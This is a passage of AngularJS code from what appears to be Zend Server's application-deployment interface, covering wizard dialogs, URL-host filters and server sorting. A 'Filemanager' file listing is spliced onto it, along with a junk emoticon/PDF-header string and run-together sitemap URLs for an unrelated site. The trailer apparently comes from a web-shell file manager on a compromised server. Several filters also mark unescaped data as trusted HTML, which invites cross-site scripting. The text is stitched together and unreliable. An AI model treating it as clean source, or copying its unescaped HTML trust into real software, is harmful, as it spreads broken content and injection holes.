						$scope.$defineWizardScope.onDefineApplicationFailure();
					}
					ngDialog.close();
				}).finally(function() {
					$scope.$defineWizardScope.wizard.isDefining = false;
				});
			} else {
				// Logo Selected
				var upload = Upload.upload({
					url: url,
					method: 'POST',
					data: $scope.$defineWizardScope.wizard.app,
					headers: {
						'Accept': 'application/vnd.zend.serverapi+json'
					},
					sendFieldsAs: 'form'
				});
				// returns a promise
				upload.then(function(response) {
					// SUCCESS
					if (!response.data.responseData.applicationInfo) {
						$scope.$defineWizardScope.onDefineApplicationFailure();
					}
					ngDialog.close();
				}, $scope.$defineWizardScope.onDefineApplicationFailure).finally(function() {
					$scope.$defineWizardScope.wizard.isDefining = false;
				});
			}

		};

		$scope.isDaemonRunning = function() {
			WebAPI({
				url: '/ZendServer/Api/isDaemonRunning',
				params: {}
			}).then(function(response) {
				$scope.isZddOffline = response.data.responseData.isDaemonOffline;
			});
		};

		$scope.isDaemonRunning();

		$scope.openDefineWizard = function() {
			if (!$rootScope.aclService.isAllowed('route:DefineWizard')) {
				document.fireEvent('toastAlert', {
					'message': _t("You do not have the correct permissions for define applications")
				});
				return;
			}
			$scope.$defineWizardScope.wizard = {};
			$scope.$defineWizardScope.wizard.app = {};
			$scope.$defineWizardScope.wizard.ac = false;


			$http({
				url: '/ZendServer/Deployment/get-definable-applications'
			}).then(function(response) {
				$scope.$defineWizardScope.appsData = response.data.appsData;
				$scope.$defineWizardScope.appsData.forEach(function(app) {
					app.base_url = app.base_url.replace($rootScope.serverData['default-server'], '<default-server>');
					app.base_url = app.base_url.replace('<default-server>', '[default-server]');
				});
				ngDialog.open({
					template: '/ZendServer/ModuleResource/Deployment/templates/applications/wizard/define.html',
					scope: $scope.$defineWizardScope,
					className: 'ngdialog-theme-default ngdialog-small',
					showClose: false
				});
			}, function(response) {
				document.fireEvent('toastAlert', {
					'message': _t("Can't load definable applications")
				});
			});
		};

		$scope.baseUrlChanged = function(value) {
			$scope.$defineWizardScope.wizard.app.baseUrl = value;
		};

		$scope.onload = function() {
			$scope.pollApplicationsTasks = {};
			$scope.pollApplications(true);

			// Open wizards if queried
			if ($location.search().Deploy) {
				$scope.openWizard();
			}
			if ($location.search().Define) {
				$scope.openDefineWizard();
			}

		};

		$scope.onBaseUrlSelected = function(newValue) {
            // set the selected value to the original input object
            $scope.$defineWizardScope.wizard.app.baseUrl = newValue.title;
            
			if (!angular.isArray($scope.$defineWizardScope.appsData)) {
				return;
			}
			$scope.$defineWizardScope.appsData.forEach(function(app) {
				if (newValue.originalObject && app.base_url == newValue.originalObject.base_url) {
					$scope.$defineWizardScope.loadDefinedApp(app);
				}
			});
		};

		$scope.$on('$destroy', function() {
			$scope.isPollingActive = false;
			angular.forEach($scope.timeouts, function(timer) {
				$timeout.cancel(timer);
			});
		});

		$scope.onload();
	}])
	.filter('appBaseURL', ['$sce', '$rootScope', function($sce, $rootScope) {
		return function(value) {
			var parser = new URI(value);
			if (parser.get('host') == '[default-server]' || parser.get('host') == '<default-server>') {
				parser.set('host', $rootScope.serverData['current-host']);
			}

			if (parser.get('port') == 80) {
				parser.set('port', '');
			}

			return $sce.trustAsHtml(parser.toString());
		};
	}])
	.filter('replaceUrlHost', ['$sce', function($sce) {
		return function(value, newHost, asHtml) {
			// check what happens when the host is empty
			if (!newHost) {
				return value;
			}
			
			var parser = new URI(value);
			parser.set('host', newHost);

			if (parser.get('port') == 80) {
				parser.set('port', '');
			}

			return asHtml ? $sce.trustAsHtml(parser.toString()) : parser.toString();
		};
	}])
	.filter('appMessageList', ['$sce', function($sce) {
        
        function isContinuousOperationStatus(statusName) {
            return statusName.indexOf('ing') > 0;
        }
        
		return function(value, data) {
			var result = data.status;
            
            if (data.status.test('error', ['i'])) {
                result = 'There was an error with this application';
            } else if (data.messageList === null || data.messageList === undefined) {
				result = '';
			}
            
            // fixed #ZSR-2191, show the errors/warnings on the panel
            if (data.healthCheck == 'error') {
            	if (typeof data.messageList != "undefined" && data.messageList.length > 0) {
            		angular.forEach(data.messageList, function(messageData, index) {
            			if (index == 0) {
            				result = '';
            			}
            			result += messageData.type.charAt(0).toUpperCase() + messageData.type.slice(1)  + ': ' + messageData.message + ' ';
            		});
            	}
            }
            
            if (data.activeTasks && data.activeTasks.length > 0) {
                var activeTaskName = data.activeTasks[0];
                activeTaskName = activeTaskName.charAt(0).toUpperCase() + activeTaskName.slice(1).toLowerCase();
                result = activeTaskName + ' - ' + result;
            }
            
			return $sce.trustAsHtml('<div class="app_message" id=messageList_' + data.id + '>' + result + '</div>');
		};
	}])
	.filter('applicationVersionsFilter', ['$sce', function($sce) {
		return function(row) {
			var deployedVersions = row.deployedVersions.deployedVersion;
			// check if there's uploaded version
			if (row.pendingVersion) {
				// collect versions from the servers
				var collectedVersions = [];
				if (row.servers && row.servers.applicationServer)
				Object.keys(row.servers.applicationServer).forEach(function(serverNodeId) {
					var serverData = row.servers.applicationServer[serverNodeId];
					if (collectedVersions.length === 0) {
						collectedVersions.push(serverData.deployedVersion);
					} else if (collectedVersions.indexOf(serverData.deployedVersion) < 0) {
						if (versionCompare(serverData.deployedVersion, collectedVersions[0]) < 0) {
							collectedVersions.unshift(serverData.deployedVersion);
						} else {
							collectedVersions.push(serverData.deployedVersion);
						}
					}
				});
				
				if (collectedVersions.length === 1) {
					collectedVersions.push(row.pendingVersion);
				}
				
				// unique + join the versions
				if (collectedVersions.length > 1) {
					// join _only unique_ values
					deployedVersions = collectedVersions.filter(function onlyUnique(value, index, self) { 
						return self.indexOf(value) === index;
					}).join(',');
				}
			}
			return $sce.trustAsHtml('<span title="' + deployedVersions + '">' + deployedVersions + '</span>');
		};
	}])
	.filter('appMessageFormat', ['$sce', function($sce) {
		return function(value) {
			var out = (value + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1' + '<br>' + '$2');
			return $sce.trustAsHtml(out);
		};
	}])
	.filter('sortApplicationServers', [function() {
		return function(serversList, field, direction) {
			field = field || 'NODE_NAME';
			direction = direction || 'asc';
			
			// define the sorting function
			var sortingCallback = function(serverA, serverB) {
				var retValue = 0;
				
				// check if this is "version", use version compare
				if (field == 'version') {
					retValue = versionCompare(serverA.version, serverB.version);
				} else if (field == 'NODE_IP') {
					retValue = ipCompare(serverA[field], serverB[field]);
				} else if (field) {
					retValue = serverA[field] > serverB[field] ? 1 : (serverA[field] == serverB[field] ? 0 : -1);
				}
				
				if (direction == 'desc') {
					retValue = -1 * retValue;
				}
				
				return retValue;
			};
			
			if ((serversList instanceof Object) && !(serversList instanceof Array)) {
				serversList = Object.values(serversList);
			}
			
			if (serversList instanceof Array) {
				return serversList.sort(sortingCallback);
			}
		};
	}]);
	

Filemanager

Name Type Size Permission Actions
applications.js File 46.22 KB 0644
deployment-wizard.js File 25.47 KB 0644
libraries.js File 29.77 KB 0644
settings.js File 2.93 KB 0644
vhost-manage-wizard.js File 2.66 KB 0644
vhost-wizard.js File 14.49 KB 0644
vhost.js File 27.81 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml